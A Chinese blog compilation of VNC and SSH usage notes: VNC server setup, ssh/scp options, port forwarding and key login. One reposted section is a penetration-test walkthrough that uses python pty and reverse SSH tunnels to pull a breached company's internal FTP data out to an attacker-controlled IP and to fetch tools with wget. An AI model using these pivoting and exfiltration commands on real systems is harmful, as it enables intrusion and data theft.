VNC+SSH相關應用

developerguy發表於2014-05-31

 

 

ssh命令了,主要是用-i指定私鑰,-p指定埠,命令如下:
ssh -i ~/.ssh/liyddsshkey developer@192.168.1.237 -p 23 

 

1.安裝vnc-server  vncviewer
2.執行vncserver  輸入密碼
3.執行vncserver -kill :1 殺死1號螢幕
4.修改/root/.vnc/xstartup
   unset SESSION_MANAGER
   exec /etc/X11/xinit/xinitrc
  去掉以上兩行的註釋
 或者:
/root/.vnc/xstartup,在最後一行會看到twm &,(不能去掉&)如果要執行KDE則將twm改成
startkde
Gnome則改成
gnome-session

5.x0vncserver PasswordFile=/root/.vnc/passwd
  此命令意思是將本地桌面共享出去,且為:0
6.在客戶端執行如下命令即可連線
  vncviewer --shared --viewonly 192.168.5.66:0
  --shared 無此引數則一個桌面只能連一個客戶端
  --viewonly 否則客戶端可操作服務端系統
7.chkconfig vncserver on
8.ehco "vncserver :1" >>/etc/rc.local
  這樣就可每次啟動時自動啟用:1

以SSH連線遠端機器:
   vncviewer -via user@192.168.5.66 localhost:1
或 vncviewer -via user@192.168.5.66 localhost::5091

以轉發埠的形式連線遠端機器:
              (本地埠,可任意)    (遠端埠)
ssh -L (localhost:)5901:localhost:5091 user@192.168.5.66輸入密碼
然後在另一終端輸入 vncviewer localhost:1  或 vncviewer localhost:5091

#配置檔案 
#vi /etc/sysconfig/vncservers          
--新增以下幾行,儲存並退出,前提:存在3個使用者:root, oracle, rrosen 
VNCSERVERS="1:root 2:lym 3:oracle" 
VNCSERVERARGS[1]="-geometry 1024x768 -alwaysshared -depth 24" 
VNCSERVERARGS[2]="-geometry 1024x768 -alwaysshared -depth 24" 
VNCSERVERARGS[3]="-geometry 1024x768 -alwaysshared -depth 24" 

# 其中,引數alwaysshared設 置為同時可有多個使用者訪問服務端, 
# 這樣,就不擔心你登入到服務端後被其他使用者擠下來(且在vncviewer端不用再設定“共享連線”) 
# 當然,若要安全起見,這個引數也可以不要。 
--儲存退出,然後重新啟動vncserver 

-------------------------------------------------------------------------
vncviewer 192.168.5.67:1 --passwd=/root/.vnc/host67pswd 
此host67pswd為vncserver上的密碼檔案,是COPY過來的,這樣每次想登入是,可以免去輸入密碼的過程
(建立一個啟動器)

_____________________________________________________________________

以下部分來自網路:(出處不祥)

_______________________________________________________________________

linux埠對映

   ssh -C -g root@127.0.0.1 -L 5000:61.235.139.123:5000
輸入機器的root密碼 
後臺執行:ssh -C -f -N -g root@127.0.0.1 -L 5000:61.235.139.123:5000
另:
ssh -C -f -N -g -R remote_port:local:port user@remotehost
可 以將遠端伺服器一個埠remote_port繫結到本地埠port,其中-C是進行資料壓縮,-f是後臺操作,只有當提示使用者名稱密碼的時候才轉向前 臺。-N是不執行遠端命令,在只是埠轉發時這條命令很有用處。-g 是允許遠端主機連線本地轉發埠。-R表明是將遠端主機埠對映到本地埠。如果是-L,則是將本地埠對映到遠端主機埠。


關於ssh埠轉發的深入例項
http://floss.zoomquiet.org/data/20070104103806/
ssh的三個強大的埠轉發命令:

ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host



----------------------------------------------------------------------------

author: ring04h[EST]

在滲透測試過程中,經常遇到如下情形,內部網路主機通過路由器或者安全裝置做了訪問控制,無法通過網際網路直接訪問本地開放的服務,Windows方 面,國內通常選擇Lcx.exe來進行埠轉發,在應用方面大多數人也會選擇reDuh來進行埠轉發,而*nix卻很少人用系統自帶的ssh、 iptables自身來處理此類問題。
由於時間有限,本文只詳細的介紹ssh tunnel方面的知識,iptables的有空在加上。

SSH的三個埠轉發命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
後臺認證使用者/密碼,通常和-N連用,不用登入到遠端主機。

-p port Connect to this port. Server must be on the same port.
被登入的ssd伺服器的sshd服務埠。

-L port:host:hostport
將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉發出去, 同時遠端主機和 host 的 hostport 埠建立連線. 可以在配置檔案中指定埠的轉發. 只有 root 才能轉發特權埠. IPv6 地址用另一種格式說明: port/host/hostport

-R port:host:hostport
將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠. 工作原理是這樣的, 遠端主機上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 埠建立連線. 可以在配置檔案中指定埠的轉發. 只有用 root 登入遠端主機才能轉發特權埠. IPv6 地址用另一種格式說明: port/host/hostport

-D port
指定一個本地機器 “動態的'’ 應用程式埠轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉發出去, 根據應用程式的協議可以判斷出遠端主機將和哪裡連線. 目前支援 SOCKS4 協議, 將充當 SOCKS4 伺服器. 只有 root 才能轉發特權埠. 可以在配置檔案中指定動態埠的轉發.

-C Enable compression.
壓縮資料傳輸。

-N Do not execute a shell or command.
不執行指令碼或命令,通常與-f連用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D引數中,允許遠端主機連線到建立的轉發的埠,如果不加這個引數,只允許本地主機建立連線。注:這個引數我在實踐中似乎始終不起作用)

如果想要了解更多關於SSH的細節,可以 man ssh ,或參照ssh的DOC.

例項:
------------------------------------------------------------------------------
當駭客A從網際網路入侵了RISUN企業的一臺伺服器,機器名稱為 GBOSS_WEB
GBOSS_WEB 資訊:
外網IP:255.25.55.111
內網IP:10.168.0.10
網路架構方式為,路由將外網256.25.56.111的80埠對映到內網10.168.0.10的80埠上。

駭客A通過利用80埠開放服務的WEB指令碼漏洞,成功繼承到GBOSS_WEB的httpd許可權,然後通過perl或者其它語言建立SOCKET 獲得一個遠端sh shell。由於back回來的shell可能不穩定,或者使用起來不方便,可以採用SSH建立一個隧道,將GBOSS_WEB伺服器上的22埠對映至 駭客的本機上(本文章用於演示的駭客機為0x.cn);

通過得到的sh shell,執行 $python -c 'import pty; pty.spawn("/bin/sh")' 獲得一個ttyshell(因為ssh想要tty的支援),然後通過如下命令,對映GBOSS_WEB伺服器的22埠至202.65.208.142的 44埠;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
這樣登入0x.cn的ssh服務,ssh -p 44 127.0.0.1 等同於連線GBOSS_WEB的22埠。

駭客A通過利用作業系統系統提升許可權至ROOT,再繼續滲透過程中,發現內網還存在另外一臺名稱為GBOSS_APP的伺服器。
GBOSS_APP 資訊:
內網IP:10.168.0.20

駭客通過嗅探獲取了GBOSS_APP伺服器的FTP資訊,GBOSS_APP伺服器FTP儲存有RISUN企業的核心資料,由於資料量龐大,需要FTP續傳功能,可通過SSH對映GBOSS_APP的21埠至0x.cn的2121埠;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142

當駭客成功root掉內網中另一網段中的伺服器BILL_APP時,需要從外網下載一些工具,由於內部訪問控制策略,BILL_APP無法連線網, 此時可以通過對映外網伺服器0x.cn的80埠至GBOSS_WEB的8888埠,然後通過GBOSS_WEB建立的隧道,下載所需工具。
在GBOSS_WEB伺服器上執行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80

通過建立隧道後,在BILL_APP上執行 wget http://10.168.0.10:8888/thepl 等同於訪問http://202.65.208.142/thepl

本文詳細的概述瞭如何建立隧道的過程,以及相關引數的使用方法,各位懂的高手可以直接飄過。
本文中駭客所使用的地址為真實IP,對應域名:http://0x.cn 歡迎無聊的駭客們破壞。(SSH有個隱藏的密碼,很容易的...)


這裡有錯誤指正一下
如果沒有拿到root的話應該是ssh -p 44 httpd@127.0.0.1 
你的ssh -p 44 127.0.0.1預設是以root連線的
除非你有root密碼的說

樓上正解鳥

回覆cnbird:
作者在前邊已經說了已經通過伺服器的漏洞得到了rootshell。
所以下邊的也就成立了,只是做了埠對映將伺服器的埠對映到本機上。


直接把lcx 或 NC 的C原始碼拿到目標機器上用GCC 編譯下也是一種方法...

 

 

回覆cnbird:這樣登入0x.cn的ssh服務,ssh -p 44 127.0.0.1 等同於連線GBOSS_WEB的22埠樓主說得很清楚了,ssh -p 127.0.0.1等同於連線GBOSS_WEB的22埠連線的使用者取決於你連0x.cn的使用者,這些細節誰都瞭解,只是博主沒寫得那麼細浪費文章篇幅 吧?


有幾個人又裝B了,博主明明說是通過漏洞獲得httpd許可權,然後才提權得到了root許可權。



----------------------------------------------------------------
#ssh -X user@host "commond" (這個可在本地開啟遠端的圖形化介面)
或者:
#ssh -X user@host
#commond 

http://blog.chinaunix.net/uid-13377723-id-2895906.html

 

 

 

遠端桌面設定:利用putty進行vnc + ssh tunneling

 

如果直接使用vncviewer來進行訪問,有兩點不利因素:  1. 口令傳輸是明文,很容易被偵聽到.  2. 防火牆需要開啟59xx埠,這在通常的單位裡是不可能的.  幸運的是,我們有ssh這個強大的工具,象X11 Forwarding(另文論述),我們可以使用ssh隧道來保護通訊過程,下面就進行簡單介紹.  假設vncserver執行在伺服器 myserver (ip地址為:192.168.x.x)的螢幕1,也就是偵聽 192.168.x.x:5901, 使用者名稱為foo  情形一: vnc客戶端為linux 這種情形很簡單,一般的linux發行版本里面都預設安裝了ssh套件.

 

1. 用ssh登入到伺服器  ssh -L 5901:localhost:5901 -l foo myserver 或者直接用ip地址  ssh -L 5901:localhost:5901 -l foo 192.168.x.x

 

2. 在本機的另外開的終端上,執行vncviewer (或其它的類似工具)  vncviewer localhost:1  情形二: vnc客戶端為windows

 

1. 下載一個ssh客戶端,個人推薦putty,只有一個程式,不需要安裝,簡單而功能齊全. 到這裡下載http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html 下載putty.exe到桌面上直接執行即可。

 

2. 執行putty,輸入伺服器的ip地址,輸入一個名字,這裡myserver作為session的名字,按save儲存(見圖一)。  3. 單擊對話方塊左邊的tunnels來選擇相關設定,在source port裡輸入5901,在Destination裡輸入localhost:5901,按Add新增(見圖二)。  4. 單擊左邊session,回到session設定,按save重新儲存。按open即可登入到伺服器。  5. 執行vnc-viewer (如果沒有,到這裡下載[url]http://www.realvnc.com/download.html[/url],只要一個exe的檔案就行),在Server裡輸入localhost:1, 輸入口令後一個linux的桌面就會出現在windows裡,並且是非常安全的.

 

 

圖1

 

圖2

 

另請參閱:  遠端桌面設定part1:VNCserver在Fedora上配置過程(轉譯)http://bbs.chinaunix.net/forum/viewtopic.php?t=368552&highlight=yunqing

 

 

SSH 的詳細使用方法如下: 
ssh [-l login_name] [hostname | user@hostname] [command] ssh [-afgknqtvxCPX246] [-c blowfish | 3des] [-e escape_char] [-i identity_file] [-l login_name] [-o option] [-p port] [-L port:host:hostport] [-R port:host:hostport] [hostname | user@hostname] [command] 
sshd 
為執行 ssh 的 daemon,在讀者使用 ssh 之前必須去啟用 sshd,在此建議把它加在 /etc/init/rc.local 中,在每次開機時啟用。 
在執行 sshd 之前可以指定它的 port,例如:sshd –p 999 
若有安裝 SSL,可以指定 SSL 的 port 443,例如:sshd –p 443 
這樣就可以經過 SSL 及 SSH 雙重的保護,但必須去指明使用的 port 
ssh –l user –p 443 mouse.oit.edu.tw 才行,若不指明則仍然使用預設的port 22 
ssh 
選項: 
-l login_name 
指定登入於遠端機器上的使用者,若沒加這個選項,而直接打 ssh lost 也是可以的,它是以讀者目前的使用者去做登入的動作。 例如: ssh –l shie mouse.oit.edu.tw 
-c blowfish|3des 
在期間內選擇所加密的密碼型式。預設是3des,3des(作三次的資料加密) 是用三種不同的密碼鍵作三次的加密-解密-加密。 blowfish 是一個快速區塊密碼編制器,它比3des更安全以及更快速。 
-v 
Verbose 模式。使ssh 去印出關於行程的除錯訊息,這在連線除錯,認 證和設定的問題上有很的幫助。 
-V 
顯示版本。 
-a 
關閉認證代理聯機。 
-f 
要求ssh 在背景執行命令,假如ssh要詢問密碼或通行證,但是使用者 想要它在幕後執行就可以用這個方式,最好還是加上-l user 例如在遠端場所上啟用 X11,有點像是 ssh –f host xterm 。 
-e character 
設定跳脫字元。 
-g 
允許遠端主機去連線本地指派的 ports。 
-i identity_file 
選擇所讀取的 RSA 認證識別的檔案。預設是在使用者的家目錄 中的 .ssh/identity 。 
-n 
重導 stdin 到 /dev/null (實際上是避免讀取 stdin)。必須當 ssh 在幕後執 行時才使用。常見的招數是使用這選項在遠端機器上去執行 X11 的程式 例如,ssh -n shadows.cs.hut.fi emacs &,將在 shadows.cs.hut.fi 上啟用 emace,並且 X11 連線將自動地在加密的通道上傳送。ssh 程式將把它放 在幕後。(假如ssh需要去詢問密碼時,這將不會動作) 
-p port 
連線遠端機器上的 port。 
-P 
使用非特定的 port 去對外聯機。如果讀者的防火牆不淮許從特定的 port去聯機時,就可以使用這個選項。注意這個選項會關掉 RhostsAuthentication 和 RhostsRSAAuthentication。 
-q 
安靜模式。把所有的警告和訊息抑制,只有嚴重的錯誤才會被顯示。 
-t 
強制配置 pseudo-tty。這可以在遠端機器上去執行任意的 screen-based 程 式,例如操作 menu services。 
-C 
要求壓縮所有資料(包含 stdin, stdout,stderr 和 X11 和 TCP/IP 連線) 壓縮演算規則與 gzip 相同,但是壓縮的等級不能控制。在調變解調器或 聯機速度很慢的地方,壓縮是個很好的選擇,但如果讀者的網路速路很 快的話,速度反而會慢下來。 
-L listen-port:host:port 
指派本地的 port 到達端機器地址上的 port。 
-R listen-port:host:port 
指派遠端上的 port 到本地地址上的 port。 
-2 強制 ssh 去使用協議版本 2。 
-4 強制 ssh 去使用 IPv4 地址。 
-6 強制 ssh 去使用 IPv6 地址。 
scp 
使用 scp 在遠端機器上 copy 檔案 
例如: 
copy 本地的檔案到遠端的機器上 
scp /etc/lilo.conf k@net67.ee.oit.edu.tw:/home/k 
會將本地的 /etc/lilo.conf 這個檔案 copy 到 net67.ee.oit.edu.tw,使用者 k 的家目錄下。 
copy遠端機器上的檔案到本地來 
scp k@net67.ee.oit.edu.tw:/etc/lilo.conf /etc 
會將 net67.ee.oitdu.tw 中 /etc/lilo.conf 檔案 copy 到本地的 /etc 目錄下。 
保持從來源 host 檔案的屬性 
scp –p k@net67.ee.tw:/etc/lilo.conf /etc 
在此必須注意使用者的許可權是否可讀取遠端上的檔案,若想知道更多關於 scp 的使用方法,可去看看 scp 的使用手冊。 
ssh-keygen 
產生公開鑰 (pulib key) 和私人鑰 (private key),以保障 ssh 聯機的安性, 當 ssh 連 shd 伺服器,會交換公開鑰上,系統會檢查 /etc/ssh_know_hosts 內儲存的 key,如果找到客戶端就用這個 key 產生一個隨機產生的session key 傳給伺服器,兩端都用這個 key 來繼續完成 ssh 剩下來的階段。 

它會產生 identity.pub、identity 兩個檔案,私人鑰存放於identity,公開鑰 存放於 identity.pub 中,接下來使用 scp 將 identity.pub copy 到遠端機器的家目錄下.ssh下的authorized_keys。 .ssh/authorized_keys(這個 authorized_keys 檔案相當於協議的 rhosts 檔案), 之後使用者能夠不用密碼去登入。RSA的認證絕對是比 rhosts 認證更來的安全可靠。 
執行: 
scp identity.pub k@linux1.ee.oit.edu.tw:.ssh/authorized_keys 

若在使用 ssh-keygen 產生鑰匙對時沒有輸入密碼,則如上所示不需輸入密碼即可從 net67.ee.oit.edu.tw 去登入 linux1.ee.oit.edu.tw。在此,這裡輸入的密碼可以跟帳號的密碼不同,也可以不輸入密碼。

相關文章